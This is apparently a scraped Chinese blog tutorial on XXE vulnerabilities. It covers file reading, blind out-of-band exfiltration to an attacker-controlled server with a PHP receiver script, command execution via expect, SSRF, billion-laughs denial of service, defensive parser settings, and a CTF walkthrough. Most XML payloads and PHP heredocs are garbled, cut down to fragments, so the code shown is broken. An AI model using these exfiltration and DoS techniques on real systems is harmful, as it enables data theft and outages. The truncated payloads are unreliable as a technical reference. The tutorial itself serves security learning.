    以Code1代码为例,XML外部实体 ‘passwd’ 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体’passwd’的值会被替换为URI(file:///etc/passwd)内容值(也就是passwd文件的内容)。关键字’SYSTEM’会告诉XML解析器,’passwd’实体的值将从其后的URI中读取。

    0x03 怎么甄别一个XML实体攻击漏洞?

    XXE漏洞主要针对web服务危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。

    最直接的回答就是: 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。例如wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。

    xxe漏洞检测

    第一步检测XML是否会被成功解析:

    ]>

    &name;

    如果页面输出了my name is nMask,说明xml文件可以被解析。

    第二步检测服务器是否支持DTD引用外部实体:

    %name;

    ]>

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求index.html的请求。

    从PHP代码层面上

    最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

    这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

    $data = file_get_contents('php://input'); //获取提交的XML数据

    $xml = simplexml_load_string($data); // 交给PHP的XML解析函数

    echo $xml->name;

    ?>

    0x04 xxe漏洞的危害

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

    危害1:读取任意文件

    有回显情况

    XML.php

    $xml = <<

    ]>

    &f;

    EOF;

    $data = simplexml_load_string($xml);

    print_r($data);

    ?>

    访问XML.php可以读取etc/passwd文件内容

    该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。

    实例展示:

    可以使用如下的两种方式进行XXE注入攻击。

    ]>

    &xxe;

    %xxe;]>

    &evil;

    外部evil.dtd中的内容。

    当然也可以进行内网站点的入侵。

    以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

    无回显的情况

    blind xxe漏洞方案1:

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

    创建test.php写入以下内容:

    file_put_contents("test.txt", $_GET['file']) ;

    ?>

    创建index.php写入以下内容:

    $xml=<<

    %remote;

    %all;

    %send;

    ]>

    EOF;

    $data = simplexml_load_string($xml) ;

    echo "

    " ;

    print_r($data) ;

    ?>

    创建test.xml并写入以下内容:

    ">

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    blind xxe漏洞方案2:

    可以将文件内容发送到远程服务器,然后读取。

    %f;

    ]>

    &b;

    $data = simplexml_load_string($xml);

    print_r($data);

    远程服务器的evil.dtd文件内容

    blind xxe漏洞方案3:

    可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

    # /etc/issue

    %dtd;

    %send;

    ]>

    evil.dtd的内容,内部的%号要进行实体编码成%。

    “”

    >

    %all;

    有报错直接查看报错信息。

    无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

    这里列举几个案例:

    恶意引入外部实体1:

    **XML内容**

    ]>

    &b;

    恶意引入外部实体2:

    **XML内容**

    %d;

    ]>

    &b;

    DTD文件(evil.dtd)内容:

    恶意引入外部实体3

    **XML内容**

    ]>

    &b;

    DTD文件内容

    恶意引入外部实体(4)

    ]>

    &xxe;

    危害2:命令执行

    php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装。

    $xml = <<

    # id

    ]>

    &f;

    EOF;

    $data = simplexml_load_string($xml);

    print_r($data);

    ?>

    该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

    危害3:内网探测/SSRF

    由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

    $xml = <<

    ]>

    &f;

    EOF;

    $data = simplexml_load_string($xml);

    print_r($data);

    ?>

    危害4:攻击内网网站

    该CASE是攻击内网struts2网站,远程执行系统命令。

    危害5:拒绝服务攻击

    2. To crash the server / Cause denial of service:

    ]>

    &lol9;

    上面样例代码2中的XXE漏洞攻击就是著名的’billion laughs’ 攻击。

    (https://en.wikipedia.org/wiki/Billion_laughs),该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。

    原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。

    0x05 XXE漏洞修复与防御

    xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。

    方案一:使用开发语言提供的禁用外部实体的方法

    PHP

    libxml_disable_entity_loader(true);

    JAVA

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);

    Python

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方案二:过滤用户提交的XML数据

    过滤关键词:!ENTITY,或者SYSTEM和PUBLIC。

    0x06 一道CTF题目

    题目链接:

    目的很明确获取/home/ctf/flag.txt的内容

    下面分析源码

    function XHR() {

    var xhr;

    try {xhr = new XMLHttpRequest();}

    catch(e) {

    var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];

    for (var i=0,len=IEXHRVers.length;i< len;i++) {

    try {xhr = new ActiveXObject(IEXHRVers[i]);}

    catch(e) {continue;}

    }

    }

    return xhr;

    }

    function send(){

    evil_input = document.getElementById("evil-input").value;

    var xhr = XHR();

    xhr.open("post","/api/v1.0/try",true);

    xhr.onreadystatechange = function () {

    if (xhr.readyState==4 && xhr.status==201) {

    data = JSON.parse(xhr.responseText);

    tip_area = document.getElementById("tip-area");

    tip_area.value = data.task.search+data.task.value;

    }

    };

    xhr.setRequestHeader("Content-Type","application/json");

    xhr.send('{"search":"'+evil_input+'","value":"own"}');

    }

    很明显是AJAX异步传送数据

    在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

    解题步骤:

    要先修改Content-Type: application/xml

    然后加入xml脚本即可

    ]>

    &myentity;

    得到返回结果

    CTF{XxE_15_n0T_S7range_Enough}

    0x07 参考链接

    https://security.tencent.com/index.php/blog/msg/69

    https://thief.one/2017/06/20/1/

    https://www.jianshu.com/p/7325b2ef8fc9

    https://blog.csdn.net/qq_31481187/article/details/53028221

    http://netsecurity.51cto.com/art/201702/531996.htm

    https://www.cnblogs.com/wfzWebSecuity/p/6681114.html

    https://www.jianshu.com/p/7325b2ef8fc9

    展开全文
  • dtd-finder:列出DTD并使用这些本地DTD生成XXE有效载荷
  • XXE漏洞攻防原理

    2021-03-22 21:39:25
    方便永远是安全的敌人你的知识面,决定你的攻击面1简述XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析XML输入的应用程序的一种攻击。当包含对外部实体的引用的XML输入被弱配置XML解析...
  • XXEXXE漏洞学习

    2020-05-12 12:21:53
    xxe漏洞检测思路从PHP代码层面上xxe漏洞的危害危害1:读取任意文件有回显的情况无回显的情况危害2:命令执行(装有expect扩展)危害3:内网探测/SSRF危害4:拒绝服务攻击XXE漏洞修复与防御一道CTF题目案例分析 ...
  • 刚开始学XXE漏洞的时候,很懵,看见了这个博客,就转载一下,希望对刚接触这个东西的同学有帮助,刚学的时候浪费了很多时间,希望别人可以少浪费这个找资源的时间
  • XXE - How to become a Jedi

    2019-02-20 13:36:45
    XXE漏洞从入门到精通
  • 介绍XXE漏洞攻防知识
  • JAVA的XXE漏洞

    2021-03-22 21:39:35
    1. XXE简介XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体数据进行处理时,可能存在恶意行为导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等问题。...
  • xxe漏洞详解

    千次阅读 2021-03-02 16:27:15
    pikachu靶场之xxe 1. 任意文件读取 2. 命令执行 3. 源码分析 四. bwapp靶场之xxe 1. 利用DNSlog测试命令执行 2. 读取本地文件 ​ 这几天又开始漏洞复现了,抽空整理一下漏洞原理,正所谓温故而知新,学习这...
  • 貌似最近经常看到有Java项目爆出XXE的漏洞并且带有CVE,包括Spring-data-XMLBean XXE漏洞、JavaMelody组件XXE漏洞解析、Apache OFBiz漏洞。微信支付SDK的XXE漏洞。本质上xxe的漏洞都是因为对xml解析时允许引用外部...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,952
精华内容 2,780
关键字:

xxe